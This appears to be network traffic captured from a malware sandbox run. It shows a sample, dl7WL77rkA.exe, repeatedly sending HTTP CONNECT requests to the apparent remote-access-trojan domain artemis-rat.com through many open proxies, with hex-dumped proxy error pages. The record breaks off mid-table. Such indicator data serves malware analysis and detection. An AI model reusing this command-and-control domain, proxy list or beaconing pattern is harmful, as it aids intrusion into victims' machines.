Mar 11, 2024 03:31:17.727495909 CET	726	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 02:28:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 11, 2024 03:31:19.431041956 CET	726	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 02:28:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 11, 2024 03:31:21.474886894 CET	726	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 02:28:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 11, 2024 03:31:25.563524008 CET	726	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 02:28:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 11, 2024 03:31:33.731142998 CET	726	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 02:28:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 11, 2024 03:31:50.084501028 CET	726	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 02:28:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1980	192.168.2.5	55326	218.65.6.150	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.401818991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1981	192.168.2.5	55299	45.11.95.165	5212	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.401887894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1982	192.168.2.5	55324	185.101.16.52	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.402154922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1983	192.168.2.5	55342	191.243.46.30	43241	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.402219057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.202020884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.217859983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.214389086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.048185110 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1984	192.168.2.5	55261	139.59.1.14	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.402223110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.953927040 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1985	192.168.2.5	55361	91.189.177.188	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.402472019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.723143101 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:47 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3628 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1986	192.168.2.5	55311	103.156.232.85	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.402853012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
